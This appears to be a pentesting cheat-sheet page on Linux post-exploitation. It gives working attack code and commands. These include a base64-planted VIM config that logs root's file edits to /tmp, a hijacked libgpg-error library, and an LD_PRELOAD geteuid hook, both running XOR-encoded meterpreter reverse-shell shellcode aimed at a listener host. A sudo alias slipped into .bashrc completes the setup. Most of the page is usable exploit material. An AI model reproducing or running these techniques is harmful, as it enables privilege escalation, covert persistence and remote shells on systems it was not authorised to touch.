description |
---|
General Post Exploitation |
Create a malicious VIM config that will save contents of a modified file when ran with sudo:
{% code title="settings.vim" %}
:if $USER == "root"
:autocmd BufWritePost * :silent :w! >> /tmp/tmp0x031337
:endif
{% endcode %}
$ sudo -u victim mkdir -p /home/victim/.vim/plugin
$ sudo -u victim bash -c 'echo -n OmlmICRVU0VSID09ICJyb290Igo6YXV0b2NtZCBCdWZXcml0ZVBvc3QgKiA6c2lsZW50IDp3ISA+PiAvdG1wL3RtcDB4MDMxMzM3CjplbmRpZgo=|base64 -d > /home/victim/.vim/plugin/settings.vim'
For example, target executable will be /usr/bin/top
.
Code skeleton:
{% code title="fakelib.c" %}
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>
static void hijack() __attribute__((constructor));
// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.13.37 LPORT=1337 -f c -o met.c --encrypt xor --encrypt-key a
unsigned char buf[] =
"\x31\x33\...\x33\x37";
void hijack() {
setuid(0);
setgid(0);
printf("Library hijacked!\n");
int bufsize = (int)sizeof(buf);
for (int i = 0; i < bufsize-1; i++) { buf[i] = buf[i] ^ 'a'; }
intptr_t pagesize = sysconf(_SC_PAGESIZE);
mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC);
int (*ret)() = (int(*)())buf;
ret();
}
{% endcode %}
Get all shared libraries loaded by target executable:
$ ldd /usr/bin/top
...
libgpg-error.so.0 => /lib/x86_64-linux-gnu/libgpg-error.so.0
We'll be targeting the libgpg-error.so.0
library. Include defined symbols of the original library in our malicious library:
$ readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk '{print "int",$8}' | sed 's/@@GPG_ERROR_1.0/;/g' >> fakelib.c
Create a map file with version information of defined symbols:
$ echo 'GPG_ERROR_1.0 {' > gpg.map
$ readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk '{print $8}' | sed 's/@@GPG_ERROR_1.0/;/g' >> gpg.map
$ echo '};' >> gpg.map
Prepare the listener, compile, export LD_LIBRARY_PATH
and run top:
$ gcc -Wall -fPIC -c -o fakelib.o fakelib.c
$ gcc -shared -Wl,--version-script gpg.map -o libgpg-error.so.0 fakelib.o
$ sudo LD_LIBRARY_PATH=/home/snovvcrash/ldlib top
For example, target executable will be /bin/cp
.
Determine which functions are executed by /bin/cp
via LD_PRELOAD
:
$ ltrace cp
...
getuid()
...
We'll be hooking the getuid()
function:
{% code title="evilgetuid.c" %}
#define _GNU_SOURCE
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>
// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.13.37 LPORT=1337 -f c -o met.c --encrypt xor --encrypt-key a
unsigned char buf[] =
"\x31\x33\...\x33\x37";
uid_t geteuid(void)
{
typeof(geteuid) *getuid_orig;
getuid_orig = dlsym(RTLD_NEXT, "geteuid");
if (fork() == 0) // if inside the forked process
{
setuid(0);
setgid(0);
printf("Function hooked!\n");
int bufsize = (int)sizeof(buf);
for (int i = 0; i < bufsize-1; i++) {
buf[i] = buf[i] ^ 'a';
}
intptr_t pagesize = sysconf(_SC_PAGESIZE);
if (mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC)) {
perror("mprotect");
return -1;
}
int (*ret)() = (int(*)())buf;
ret();
}
else // if inside the original process
{
printf("Returning from original...\n");
return (*getuid_orig)();
}
printf("Returning from main...\n");
return -2;
}
{% endcode %}
Compile:
$ gcc -Wall -fPIC -z execstack -c -o evilgetuid.o evilgetuid.c
$ gcc -shared -o evilgetuid.so evilgetuid.o -ldl
Create an evil alias to preserve environment variables when running cp
with sudo (good candidates are .bashrc
and .bash_profile
):
alias sudo="sudo LD_PRELOAD=/home/victim/evilgetuid.so"
Run the target executable:
$ sudo cp /etc/passwd /tmp/passwd